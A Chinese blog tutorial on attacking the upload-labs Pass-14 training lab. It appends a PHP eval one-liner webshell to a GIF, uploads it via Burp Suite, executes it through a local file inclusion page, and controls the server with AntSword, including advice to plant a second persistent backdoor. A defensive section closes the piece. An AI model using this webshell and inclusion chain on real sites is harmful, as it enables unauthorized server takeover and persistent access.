Burpsuite与蚁剑实战:图片马上传与文件包含漏洞利用

文件包含漏洞利用之本地包含配合文件上传包含图片马&&文件包含漏洞利用之远程包含Webshell 通过本实验,掌握文件上传+文件包含的组合漏洞,在绕过上传的检测时可以制作图片马上传,图片马上传成功不能直接解析,可以利用文件包含的特点进行解析图片马。通过本实验,掌握在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。 阅读详情

1. 从零开始:理解图片马与文件包含漏洞的实战价值

大家好,我是老张,在安全测试这行摸爬滚打了十来年,今天想和大家聊聊一个非常经典、实战中又极其有效的组合技:用Burpsuite和蚁剑搞定图片马上传和文件包含漏洞。这听起来可能有点“黑话”,但别担心,我会用最直白的方式给你讲明白。

简单来说,这就像一场“特洛伊木马”式的攻击。想象一下,你有一个网站,它允许用户上传头像(图片),但同时这个网站有个“坏习惯”,它会不加区分地执行用户上传文件里的代码。我们的目标就是:制作一个外表看起来是“木马”(图片),但肚子里藏着“士兵”(PHP后门代码)的文件,骗过网站的保安(上传检测),然后利用网站的“坏习惯”(文件包含漏洞),把“士兵”放出来,最终拿到整个网站服务器的控制权。

在这个过程中,Burpsuite 是我们的“瑞士军刀”,用来拦截和修改浏览器发送给网站的请求,欺骗网站;蚁剑 则是我们的“遥控指挥中心”,一旦后门部署成功,就能通过它来可视化地管理服务器。而 upload-labs 是一个专门用来练习文件上传漏洞的靶场环境,其中的Pass-14关卡,正是我们今天要攻破的“训练场”。

这个技术组合为什么重要?因为在真实的网站渗透测试中,文件上传点遍地都是,而开发人员稍有不慎,就可能写出有缺陷的检测逻辑。学会这一套,你不仅能深刻理解安全漏洞的原理,更能掌握一套行之有效的验证和利用方法。下面,我们就挽起袖子,一步步来实操。

2. 环境搭建与靶场准备

工欲善其事,必先利其器。在开始“制作木马”和“投放士兵”之前,我们得先把战场布置好。这里不需要复杂的云服务器,我们在自己的电脑上就能完成所有操作。

2.1 搭建upload-labs靶场

首先,我们需要一个名为 upload-labs 的漏洞练习平台。它是一个用PHP写的、集成了各种文件上传漏洞场景的靶场,完美复现了开发中可能出现的各种错误。你可以把它想象成一个“漏洞主题乐园”,而Pass-14就是我们今天要挑战的特定关卡。

安装步骤:

  1. 你需要一个PHP运行环境。最简单的方法是安装一个集成环境软件,比如 PHPStudy 或 XAMPP。我习惯用PHPStudy,因为它切换PHP版本非常方便。
  2. 下载upload-labs的源码。你可以在GitHub上搜索“upload-labs”找到它,通常是一个ZIP压缩包。
  3. 将解压后的整个文件夹,放到你PHP环境的网站根目录下。例如,PHPStudy的根目录通常是 www 文件夹。
  4. 启动PHPStudy,确保Apache和MySQL服务都运行起来(对于upload-labs,其实只需要Apache和PHP)。
  5. 打开浏览器,访问 http://localhost/upload-labs/(具体路径根据你的放置位置调整),如果能看到upload-labs的首页,说明环境搭建成功。

进入靶场后,你会看到一系列关卡。直接找到并点击“Pass-14”进入。这一关的提示往往比较隐晦,需要我们自己去查看源代码,这正是实战的常态——漏洞不会自己跳出来告诉你。

2.2 配置Burpsuite与浏览器代理

接下来,配置我们的核心工具 Burpsuite。它是一个代理服务器,能让我们看到并修改浏览器和网站之间所有的“对话”(HTTP请求和响应)。

配置流程:

  1. 启动Burpsuite:打开它,在启动向导中选择“Temporary project”(临时项目),然后点击“Next”直到看到主界面。
  2. 开启代理监听:切换到 Proxy 标签页,再进入 Options 子标签。确保 Proxy Listeners 下有一个监听器在运行,默认通常是监听本机(127.0.0.1)的8080端口。如果没有,就点击“Add”添加一个。
  3. 浏览器设置代理:以Chrome为例,你可以安装 SwitchyOmega 这样的代理管理插件。新建一个情景模式,配置代理服务器为 127.0.0.1,端口为 8080,代理协议选择 HTTP。然后启用这个情景模式。
  4. 安装Burpsuite证书(可选但推荐):为了能拦截和查看HTTPS流量,你需要在浏览器中安装Burpsuite的CA证书。在Burpsuite中,通过 Proxy -> Options -> Import / export CA certificate 导出证书,然后在浏览器的证书管理设置中导入并信任它。
  5. 测试拦截:在Burpsuite的 Proxy -> Intercept 标签下,确保“Intercept is on”按钮是按下状态。然后刷新一下upload-labs的页面,你应该能看到请求被Burpsuite截获了。这说明代理配置成功。

完成以上两步,我们的实验室就准备就绪了。有了靶场和拦截工具,接下来就可以开始制作我们的“特洛伊木马”——图片马了。

3. 核心技艺:制作能绕过检测的图片马

现在来到最关键也最有趣的一步:制作图片马。所谓图片马,就是一个包含恶意代码的图片文件。网站的上传功能会对文件进行检查,我们的目标就是让这个“混合体”通过检查。

3.1 剖析Pass-14的检测逻辑

在动手制作前,我们必须当个“侦探”,先搞清楚Pass-14这个关卡的保安(检测逻辑)是怎么工作的。根据经验和大纲提示,我们需要查看前端页面源码和可能的服务器端提示。

通常,Pass-14会使用一种基于文件头(File Header)的检测方式。文件头是文件开头的一小段二进制数据,像文件的“身份证”,用来标识文件类型。例如,JPEG 图片的文件头是 FF D8 FF E0,PNG 图片的是 89 50 4E 47。

我们查看Pass-14的源码,可能会发现类似这样的PHP代码片段:

$info = getimagesize($_FILES['upload_file']['tmp_name']);
if($info){
    // 检查文件头...
}

或者更直接地,像大纲里提到的:读取前两个字节,解包(unpack)并转换成十进制数进行判断。例如,GIF 图片的前两个字节是 GIF(ASCII码),转换成特定格式的数字后有一个固定值。

它的核心思路是: 服务器只认“身份证”(文件头),不关心文件身体里到底装了什么。只要文件开头看起来像一张合法的图片,它就会放行。这就给我们留下了巨大的操作空间——我们可以在一个真正的图片文件末尾,附加上我们的PHP后门代码。

3.2 手把手制作GIF图片马

我们以最普遍的GIF图片为例,因为它结构简单,文件头容易伪造。你可以随便找一张小的GIF动图或静图,或者自己用画图工具保存一个。这里我演示用命令行和文本编辑器来制作,这种方法最直接,也最能理解原理。

制作步骤:

  1. 准备原材料:在一个工作目录下,准备两个文件。

    • 一个正常的GIF图片,命名为 normal.gif。
    • 一个纯文本文件,里面写上我们的PHP后门代码,命名为 shell.php。后门代码非常简单:
      <?php @eval($_POST['cmd']);?>
      
      这行代码的意思是,执行通过POST请求传递过来的名为 cmd 的参数的值。@符号用于抑制错误信息,eval()函数会执行字符串形式的PHP代码。这就是我们留在服务器上的“遥控器”。
  2. 合成图片马:打开系统的命令行终端(Windows的CMD或PowerShell,Mac/Linux的Terminal),进入工作目录。使用 copy 命令(Windows)或 cat 命令(Linux/Mac)进行二进制合并。

    • Windows命令:
      copy /b normal.gif + shell.php trojan.gif
      
    • Linux/Mac命令:
      cat normal.gif shell.php > trojan.gif
      

    这个命令的作用是,将 normal.gif 的二进制内容和 shell.php 的二进制内容,按顺序拼接起来,生成一个新文件 trojan.gif。

  3. 验证文件:用文本编辑器(如VS Code、Notepad++)的十六进制查看模式打开 trojan.gif。你会看到文件开头是 GIF89a 这样的标准GIF文件头,翻到文件末尾,则能看到 <?php @eval($_POST['cmd']);?> 这段文本代码。这说明我们的图片马制作成功了!它前半部分是合法的图片数据,能通过文件头检测;后半部分是我们的后门,等待被触发。

现在,这个 trojan.gif 文件就是我们的“特洛伊木马”。从图片查看器看,它是一张正常的图;从服务器检测逻辑看,它也是张合法的图;但它的体内,却藏着我们精心准备的“士兵”。

4. 实战上传:用Burpsuite绕过前端与后端校验

木马造好了,接下来就是如何把它成功地“进贡”给网站。上传过程可能面临两道关卡:前端JavaScript校验和后端服务器校验。我们的Burpsuite在这里就要大显神通了。

4.1 拦截并修改上传请求

首先,访问upload-labs的Pass-14页面,你会看到一个标准的上传表单。

  1. 在Burpsuite中确保拦截功能(Intercept is on)是开启的。
  2. 在网页上选择我们制作好的 trojan.gif 文件,然后点击上传按钮。
  3. 此时,浏览器发出的请求会被Burpsuite瞬间截获。你会在 Proxy -> Intercept 标签页下看到一个 POST 请求,其内容类型(Content-Type)是 multipart/form-data,这就是上传文件的标准格式。

在这个被拦截的请求里,我们需要关注几个关键部分:

  • 文件名:你会看到一行类似 Content-Disposition: form-data; name="upload_file"; filename="trojan.gif" 的内容。这里的 filename 就是服务器接收到的文件名。
  • 文件内容:在下面你会看到一大段乱码(其实是文件的二进制内容以文本形式显示),其中开头部分就能辨认出 GIF89a。
  • Content-Type:通常还会有一行 Content-Type: image/gif,这是浏览器根据文件后缀自动添加的。

在什么情况下需要修改?

  • 如果存在前端JS校验:有些上传点会在网页上用JavaScript检查文件后缀名(如只允许.jpg, .png)。这种检查非常弱,我们只需要在Burpsuite里把拦截到的请求中的 filename="trojan.gif" 改成 filename="trojan.jpg" 就能轻松绕过。因为JS是在自己电脑上跑的,改掉发给服务器的请求,JS就管不着了。
  • 针对Pass-14:它的检测在服务器端,基于文件头。我们制作的图片马已经符合要求,所以通常不需要修改请求内容。但这里有个非常重要的技巧:即使后端检测文件头,有时它也会参考 filename 的后缀,或者 Content-Type 字段。为了确保万无一失,我们可以保持 filename 为 .gif,并且确保 Content-Type 是 image/gif,让请求看起来无比“正常”。

检查无误后,在Burpsuite点击 Forward 按钮,将这个请求放行,发送给服务器。

4.2 分析服务器响应与定位文件路径

请求放行后,我们立刻切换到 Burpsuite 的 HTTP history 标签页。这里记录了所有经过代理的请求和响应。找到刚才那个上传请求,查看它的 Response(服务器返回的响应)。

如果上传成功,响应页面通常会显示“文件上传成功!”之类的提示,并且最关键的是,它会告诉我们文件被保存到了服务器上的什么路径。这个路径信息至关重要,是我们后续利用漏洞的“门牌号”。

常见的返回路径可能是:

  • Uploads/trojan.gif
  • ../upload/trojan.gif
  • 一个包含日期子目录的路径,如 upload/20240527/trojan.gif

请务必把这个路径完整地记录下来。如果响应中没有明确显示,有时可能需要结合网站目录结构常识去猜测,或者查看页面源码中是否有隐藏信息。在upload-labs中,它通常会明确告诉你。

至此,我们的“木马”已经成功地被服务器接收并存放到了指定位置。但是,现在直接访问 http://localhost/upload-labs/uploads/trojan.gif,服务器只会把它当作一张图片来输出二进制数据,并不会执行藏在末尾的PHP代码。因为服务器默认只会把以 .php 结尾的文件交给PHP解析器去执行。这就需要请出我们的下一个漏洞——文件包含,来“激活”这个后门。

5. 漏洞利用:巧用文件包含激活图片马

文件包含漏洞,就像是网站的一个“万能引用”功能出了bug。它允许开发者将一个外部文件的内容动态地包含到当前的PHP脚本中执行,常用于加载配置文件、头部尾部模板等。但当这个被包含的文件路径可以由用户控制时,就出大问题了。

5.1 理解本地文件包含(LFI)漏洞

在upload-labs的Pass-14场景中,通常会模拟一个存在文件包含漏洞的页面,比如叫 include.php。这个页面的代码可能长这样:

<?php
    $file = $_GET['file']; // 用户通过URL参数控制$file变量
    include($file); // 直接包含用户指定的文件
?>

你看,$file 的值直接从URL的 ?file= 参数获取,然后未经任何过滤就交给了 include() 函数。攻击者就可以通过这个参数,让服务器去包含任何他想包含的文件,包括我们刚刚上传的图片马。

为什么包含图片马能执行PHP代码? 这是因为 include() 函数的工作机制:它会将指定文件的内容读取出来,并当作PHP代码来执行。无论这个文件的后缀是 .php、.txt 还是 .gif,只要其内容包含有效的PHP代码(即 标签内的部分),PHP解析器就会去执行它。当我们包含 `trojan.gif` 时,PHP引擎会从头到尾解析这个文件,虽然开头的图片二进制数据会导致一些警告错误(被我们代码中的`@`抑制了),但解析到文件末尾的 时,里面的 eval($_POST['cmd']) 就会被正常识别和执行。

5.2 构造利用链接与测试

现在,我们知道了文件包含漏洞页面的路径(假设是 include.php),也知道了图片马上传后的存储路径(假设是 uploads/trojan.gif)。接下来就是将它们组合起来。

  1. 构造包含链接:在浏览器中访问如下URL:

    http://localhost/upload-labs/include.php?file=uploads/trojan.gif
    

    这个请求的意思是:访问 include.php 页面,并告诉它,请包含 uploads/trojan.gif 这个文件。

  2. 观察结果:

    • 如果页面没有报致命错误,而是显示了一片空白、一些乱码或者原图片的部分二进制字符,这很可能意味着包含成功。因为图片的二进制数据被当作PHP执行,产生了错误和乱码输出,但关键的后门代码已经被服务器加载。
    • 更准确的测试方法是,直接用我们的“遥控器”来验证。但此时我们还没有蚁剑这样的图形化工具,可以用一个简单的方法:使用浏览器的开发者工具(F12)或者 HackBar 插件,向这个 include.php 页面发起一个POST请求,并带上参数 cmd=phpinfo();。
  3. 手动POST验证:

    • 打开浏览器开发者工具的 Network(网络)标签。
    • 在地址栏访问 http://localhost/upload-labs/include.php?file=uploads/trojan.gif。
    • 在Network标签中找到这个请求,右键选择“Copy” -> “Copy as cURL”。
    • 打开命令行,粘贴这条cURL命令,并在末尾添加 -d "cmd=phpinfo();"。完整的命令类似:
      curl -X POST 'http://localhost/upload-labs/include.php?file=uploads/trojan.gif' -d "cmd=phpinfo();"
      
    • 执行命令。如果服务器返回了包含PHP版本、配置等大量信息的页面(即phpinfo()函数的输出),那么恭喜你!这确凿地证明,图片马中的PHP代码已经被成功执行,文件包含漏洞利用成功,我们已经在服务器上拥有了执行任意PHP代码的能力。

到了这一步,我们已经完成了最关键的突破。服务器的大门已经为我们敞开了一条缝。接下来,我们要把这条缝变成一扇可以自由进出的大门,这就需要引入功能更强大的客户端管理工具——蚁剑。

6. 建立持久控制:使用蚁剑连接与管理服务器

蚁剑(AntSword)是一款开源的网站管理软件,它提供了一个图形化界面来连接和使用网站后门。你可以把它理解为一种高度定制化的“远程桌面连接”,专门用于WebShell管理。相比手动在命令行里敲cURL命令,蚁剑要方便和强大得多。

6.1 蚁剑的安装与基本配置

首先,你需要去蚁剑的官方GitHub仓库下载对应你操作系统的安装包。安装过程很简单,一路下一步即可。安装完成后打开蚁剑,它的界面看起来可能有点简洁,但功能都藏在里面。

  1. 添加网站Shell:在蚁剑主界面,你会看到一个空白的列表。右键点击空白处,选择“添加数据”。
  2. 配置连接参数:会弹出一个配置窗口,这是最关键的一步。
    • URL地址:这里填的不是我们图片马的路径,而是文件包含漏洞页面的地址,并且要带上包含我们图片马的参数。也就是我们刚才测试成功的那个链接:http://localhost/upload-labs/include.php?file=uploads/trojan.gif。蚁剑会向这个地址发送请求。
    • 连接密码:这个密码必须和我们图片马中后门代码里定义的参数名完全一致。在我们之前制作的 shell.php 中,代码是 eval($_POST['cmd']),这意味着我们通过POST传递的参数名是 cmd。所以,在蚁剑的“连接密码”或“密码”字段里,就应该填写 cmd。有些后门脚本的参数名可能是 password、ant 等,一定要对应上。
    • 编码器与其它设置:对于简单的 eval 后门,编码器通常选择 default(默认)即可。其他选项如“请求头”、“超时时间”可以先保持默认。

填写完毕后,点击“添加”。如果一切配置正确,左侧的列表里就会出现一条新的记录,并且图标颜色正常,没有红色的错误标记。

6.2 功能演示与实战操作

双击这条新添加的记录,蚁剑就会尝试连接。连接成功后,主界面会分成左右两栏。左侧是服务器的文件目录树,右侧是功能操作区。你可以像操作本地文件管理器一样浏览服务器上的文件。

我来演示几个最常用的功能,你就能感受到它的威力:

  • 文件管理:这是最基本的功能。你可以上传本地文件到服务器,下载服务器文件到本地,删除、重命名、编辑服务器上的任何文件(在权限允许的情况下)。试想,如果你能编辑网站首页的 index.php,是不是就能做很多事情?
  • 虚拟终端:点击类似命令行图标的按钮,可以打开一个虚拟终端。在这里,你可以直接输入操作系统命令,比如 whoami 查看当前权限,pwd 查看当前目录,ls -la 列出文件,甚至 cat /etc/passwd 查看系统用户。这相当于获得了服务器的一个命令行shell。
  • 数据库管理:如果服务器上运行了MySQL等数据库,蚁剑可以尝试连接并管理。你可以查看数据库、数据表,执行SQL语句,这对获取网站数据非常有用。
  • 插件市场:蚁剑支持插件扩展。你可以安装一些扫描插件、提权辅助插件等,进一步扩大战果。

一个重要的实战技巧: 我们目前是通过“文件包含漏洞”这个桥梁来执行图片马里的后门。这种方式依赖于那个存在漏洞的 include.php 页面。为了获得更稳定、更持久的控制,我们通常会在连接成功后,利用蚁剑的文件管理功能,在服务器的Web目录下(比如 upload-labs 根目录),直接写入一个全新的、独立的PHP后门文件,例如 shell2.php。这样,以后我们就可以直接连接 http://localhost/upload-labs/shell2.php,不再需要依赖文件包含漏洞,控制会更加直接和稳定。

通过蚁剑,我们从一个只能执行单行命令的“小遥控器”,升级成了一个拥有图形化界面、功能丰富的“指挥控制中心”。整个服务器的面貌,在你面前变得一目了然。

7. 防御视角:如何避免你的网站被这样攻破

作为一名安全从业者,我深知“知己知彼,百战不殆”的道理。我们学习攻击手段,最终目的是为了更好地防御。走完了整个攻击流程,现在让我们换个角度,从开发者和运维者的身份看看,该如何筑起防线,避免自己的网站成为别人的“训练场”。

7.1 针对文件上传漏洞的防御策略

文件上传功能是Web应用的常见需求,绝不能因噎废食。关键在于实施多层次、纵深的安全检查。

  1. 白名单校验,且在后端进行:这是最根本的原则。不要信任前端(JavaScript)校验,所有校验必须在服务器端完成。只允许上传业务真正需要的文件类型,例如头像上传只允许 .jpg, .jpeg, .png, .gif。并且,这个校验要结合文件扩展名和文件内容类型(MIME Type) 双重判断。但正如我们所见,这还不够。
  2. 文件头校验与重写:对图片文件,可以使用 getimagesize()、exif_imagetype() 等函数进行严格的文件头校验,确保它是一个完整的、结构正常的图片。更保险的做法是,使用GD库或Imagick等图片处理库,对上传的图片进行重采样、重压缩或格式转换,然后保存服务器新生成的图片文件。这样,即使原文件末尾附带了恶意代码,也会在图片处理过程中被彻底剥离掉。
  3. 重命名与隔离存储:永远不要使用用户上传的文件原名。应该使用随机生成的文件名(如UUID)来保存,并确保文件扩展名来自白名单。同时,上传的文件应存储在Web根目录之外的特定目录,并通过脚本(如PHP)来读取和输出,避免用户直接通过URL访问到上传文件。如果必须允许直接访问,也要配置服务器(如Nginx)对该目录禁止执行PHP等脚本。
  4. 限制文件大小与频率:设置合理的文件大小上限,并实施上传频率限制,防止攻击者上传超大文件耗尽磁盘空间,或进行暴力上传尝试。

7.2 根除文件包含漏洞的最佳实践

文件包含漏洞的根源在于“信任了用户的输入”。防御起来,核心思路就是“不信任,且严格控制”。

  1. 避免动态包含:如果可能,尽量使用静态包含。如果需要动态包含,也绝对不要将用户输入直接传递给包含函数(include, require, include_once, require_once)。
  2. 固定化或白名单化包含路径:如果必须动态包含,应该预先定义好允许包含的文件列表(白名单),用户输入只能选择一个“键名”,而不是完整的“文件路径”。例如:
    $allowed_pages = ['news' => 'news.php', 'about' => 'about.php'];
    $page = $_GET['page'];
    if (array_key_exists($page, $allowed_pages)) {
        include($allowed_pages[$page]);
    } else {
        include('default.php');
    }
    
  3. 设置PHP安全配置:在 php.ini 配置文件中,将 open_basedir 设置为Web应用所在的目录,限制PHP只能访问指定目录树下的文件。同时,确保 allow_url_include 设置为 Off,禁止包含远程URL文件,防止更严重的远程文件包含(RFI)漏洞。

7.3 构建整体安全监控体系

单点的防御容易被绕过,需要建立整体的安全感知。

  1. Web应用防火墙(WAF):部署WAF可以帮助拦截常见的攻击流量,如包含 ../ 的路径遍历攻击、明显的WebShell连接请求等。
  2. 日志审计与监控:详细记录上传操作、文件包含操作的日志,并监控异常访问模式。例如,短时间内大量上传图片、频繁尝试包含不同路径的请求等,都可能是攻击迹象。
  3. 定期安全扫描与代码审计:使用自动化工具对网站进行定期漏洞扫描,并对业务代码(尤其是涉及用户输入和文件操作的部分)进行人工或工具辅助的安全审计。

说到底,安全是一个持续的过程,而不是一劳永逸的状态。通过今天这个从攻击到防御的完整旅程,我希望你不仅学会了一套工具的使用方法,更重要的是建立起一种“不信任用户输入”的安全思维。在实际项目中,每写下一行处理外部数据的代码时,都多问自己一句:“如果用户输入的是恶意的,我这里会出问题吗?” 多问这一句,可能就堵住了一个潜在的安全漏洞。

文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行 阅读详情

相关推荐

CTF 总结01:文件上传绕过

文件上传的番外,一句话木马绕过思路,第二版整理,还是会根据做题经验增补的~

weixin_42789937的博客 1万+

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。的知识,比如我们平时在进行文件上传时,在我们上传文件后,网站会对图片进行二次处理(格式、尺寸、保存、删除要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

ranzi. 7838

Burpsuite配合蚁剑制作并连接图片马

目录 制作图片马 利用文件包含漏洞 使用蚁剑连接 制作图片马 利用文件包含漏洞 创建PHP文件包含解析图片马里的php脚本。upload-labs本身应该会包含一个include.php,模拟页面存在文件包含漏洞 使用蚁剑连接 ...

多喝i热水的博客 1万+

upload-labs后续(14-)

在图片中加入木马,然后上传让浏览器解析,达到上传木马的目的制作图片马:可以在notepad++或者winhex中打开文件,在文件头中加入图片的文件头,再在文件末尾加入木马即可。图片文件头如下:1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。2.Jpg图片文件包括2字节:FF D8。3.Gif图片文件包括6字节:47 49 46 38 39|37 61。即为 GIF89(7)a。4.Bmp图片文件包括2字节:42 4D。即为 BM。

2303_81631620的博客 1169

图片马与文件包含漏洞实战:Burp+蚁剑精准利用链

图片马本质是利用服务器对文件内容解析的缺失,绕过基于扩展名和Content-Type的表层校验,实现在合法图像中嵌入可执行PHP代码。其原理依赖于PHP等语言的文件包含函数(如include、require)对路径可控文件的无差别解析,而非文件类型判断。该技术具备强隐蔽性与高绕过能力,广泛应用于红队评估、渗透测试及真实业务系统漏洞验证场景。结合Burpsuite的请求篡改与Intruder爆破能力,配合蚁剑的WebShell会话管理,可构建从上传绕过、路径定位到代码执行的完整利用链。文中重点涵盖JPEG文件

weixin_30588675的博客 623

文件上传漏洞实战:BurpSuite与蚁剑联动通关upload-labs靶场

文件上传漏洞是Web安全中常见的高危漏洞,其核心原理在于服务器对用户上传的文件未进行充分的安全校验,导致恶意文件被上传并执行。攻击者通过分析前端校验、MIME类型、扩展名黑名单/白名单、文件内容检查等防御机制,利用服务器解析特性、条件竞争、二次渲染绕过等技术实现绕过。掌握文件上传漏洞的利用,对于理解Web应用安全防护体系至关重要。在实战中,BurpSuite作为渗透测试的瑞士军刀,用于拦截、修改和重放HTTP请求,是分析请求与构造Payload的关键;而蚁剑(AntSword)作为WebShell连接管理工

Hi, Sun 854

实战指南:用BurpSuite+蚁剑玩转upload-labs靶场21关(附避坑技巧)

本文详细解析了如何使用BurpSuite与蚁剑攻破upload-labs靶场的21个文件上传漏洞关卡,涵盖前端验证突破、黑名单绕过、白名单突破等实战技巧,并提供了蚁剑高级应用和防御方案。适合安全研究人员和渗透测试工程师提升文件上传漏洞攻防能力。

water的专栏 948

文件上传漏洞实战:从原理到绕过,BurpSuite与蚁剑联动通关Upload-labs

文件上传是Web应用的核心功能之一,其安全机制直接关系到服务器安全。文件上传漏洞的本质在于服务器对用户提交的文件未进行充分验证,导致恶意文件被上传并执行。攻击者通过分析服务器端的验证逻辑(如前端校验、MIME类型检查、黑/白名单过滤、内容检测等),利用解析歧义、条件竞争、二次渲染绕过等技术,可实现Webshell上传,进而控制服务器。BurpSuite作为渗透测试工具,能拦截、修改和重放HTTP请求,是分析请求细节、构造绕过Payload的关键;蚁剑(AntSword)则是高效的Webshell管理平台,提

weixin_33744854的博客 440

实战教程:用Burpsuite+蚁剑绕过upload-labs Pass14的图片马检测(附完整代码)

本文提供了一份实战教程,详细讲解如何利用Burpsuite和蚁剑绕过upload-labs Pass14关卡的图片马检测机制。教程从分析检测原理入手,指导制作有效的图片Webshell,并通过文件包含漏洞触发代码执行,最终使用蚁剑建立连接,完整演示了从上传到获取权限的攻击链。

ik678901234的博客 1011

文件上传漏洞实战:BurpSuite与蚁剑在upload-labs靶场的攻防演练

文件上传漏洞是Web安全中常见的高危漏洞,其核心原理在于应用程序未对用户上传的文件进行充分校验,导致攻击者可上传恶意脚本文件,进而获取服务器控制权。从技术价值看,理解文件上传漏洞的利用与防御,是构建安全Web应用的基础。在渗透测试中,攻击者常通过拦截HTTP请求、修改文件后缀、MIME类型或利用解析漏洞等方式绕过防护。BurpSuite作为HTTP代理工具,能精准抓包改包,是漏洞探测的关键;蚁剑则是Webshell管理工具,用于连接并控制上传的恶意文件。本指南聚焦upload-labs靶场,通过21个实战关

weixin_33842304的博客 361

Windows Server 2008 R2渗透实战:从信息收集到蚁剑提权完整指南

渗透测试是网络安全领域的核心实践,其本质是通过模拟攻击来评估系统安全性。其基本原理遵循经典的“杀伤链”模型,从信息收集开始,逐步深入至漏洞利用与权限提升。在技术价值上,掌握渗透测试方法论不仅能有效发现系统脆弱点,更是构建主动防御体系的基础。尤其在面对Windows Server 2008 R2等经典但广泛存在的系统时,理解其常见的安全配置缺陷和攻击路径,对于内网安全防护和红蓝对抗演练具有极高的实战意义。本文将以一次完整的实战演练为例,深入剖析如何利用BurpSuite进行Web漏洞挖掘,并通过中国蚁剑(An

weixin_33725807的博客 437

实战指南:用蚁剑+BurpSuite玩转upload-labs靶场21关(附详细截图)

本文通过upload-labs靶场21关实战,系统讲解文件上传漏洞的攻防技巧。详细演示如何利用蚁剑和BurpSuite工具链,从环境搭建、前端验证绕过、黑/白名单突破,到高级的图片马、条件竞争等攻击手法,并最终总结多层次防御策略,帮助安全人员构建完整的文件上传安全攻防体系。

weixin_29325955的博客 370

CTF文件包含漏洞实战:PHP伪协议绕过与BurpSuite利用

文件包含漏洞是Web安全中的常见风险点,其本质在于应用程序未对用户可控的文件引入操作进行充分校验。攻击者可通过控制文件路径参数,利用服务器已有文件或特殊协议执行恶意操作,相较于直接文件上传更具隐蔽性。PHP伪协议作为核心利用技术,提供了多种数据流访问方式,其中php://filter协议通过编码转换可绕过内容显示限制,而data://与php://input协议在特定配置下能实现代码执行。这些技术在CTF竞赛和渗透测试中具有重要价值,常用于读取敏感文件、获取服务器源码或实现远程代码执行。本文以CTFshow

weixin_30480075的博客 407

【好奇心驱动力】DVWA(High)_菜刀连接图片一句话木马

1、环境准备 攻击机:kali2020.2(192.168.2.119) 测试靶机:Metasploitable2-Linux(192.168.2.113)(这里有个坑) 工具:AntSword(蚁剑)、菜刀 目的:上传图片一句话木马,使用蚁剑或者菜刀连接获取文件目录 2、图片一句话木马制作 copy命令 1.jpg是随意找的一个图片,a.php是最简单的一句话木马 #cmd执行命令 copy 1.jpg/b+a.php/a 0.jpg 执行结果如下,生成了新的0.jpg 查看0.jpg的内容,一

高冷的宅先生 6691

CTF Web安全实战:PHP文件包含漏洞与伪协议利用深度解析

文件包含漏洞是Web安全中常见的高危漏洞类型,其原理在于应用程序在包含文件时,未对用户控制的文件路径进行严格过滤,导致攻击者能够读取敏感文件或执行任意代码。在PHP环境中,该漏洞常与伪协议结合,形成强大的攻击链。php://filter协议允许攻击者以Base64编码等方式读取服务器源码,而data://协议则能直接执行代码,这对网站安全构成严重威胁。掌握这些技术对于安全测试、渗透审计和CTF竞赛至关重要。本文以ctfshow web3经典题目为例,深入剖析PHP文件包含漏洞的利用技巧,并演示如何通过Bur

379

从.user.ini到蚁剑连接:攻防世界EasyUpload文件上传漏洞实战解析

本文详细解析了攻防世界EasyUpload文件上传漏洞的实战过程,从.user.ini文件的利用到制作图片木马,再到使用BurpSuite绕过检测和连接蚁剑获取权限。文章深入分析了漏洞原理,并提供了有效的防御措施和实战建议,帮助安全测试人员更好地理解和防范此类漏洞。

u014135990的专栏 491

文件上传漏洞—蚁剑连接地址错误、一句话木马php语法错误

题目 第一步:把写有<?php phpinfo(); ?>代码的txt文件改文件名为infor.jpg,上传过程中用burpsuite抓包修改为infor.php。提示上传成功后在url中可以打开 第二步:把写有 <? php phpinfo(); @eval($_POST['shell']); ?> 代码的txt文件改文件名为infors.jpg,上传过程中用burpsuite抓包修改为infors.php。提示上传成功后在url中打开但是什么也没有显示,蚁剑也连接不上。

Xionghuimin的博客 3万+

Webshell马全套

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

上一篇: Graphviz安装后仍报错?你可能漏了这3步(Windows/Mac双平台实测)
下一篇: 深入解析OpenAI API流式传输(stream=True)的实现与优化策略
java5
博客等级 码龄22年 85粉丝 2103原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值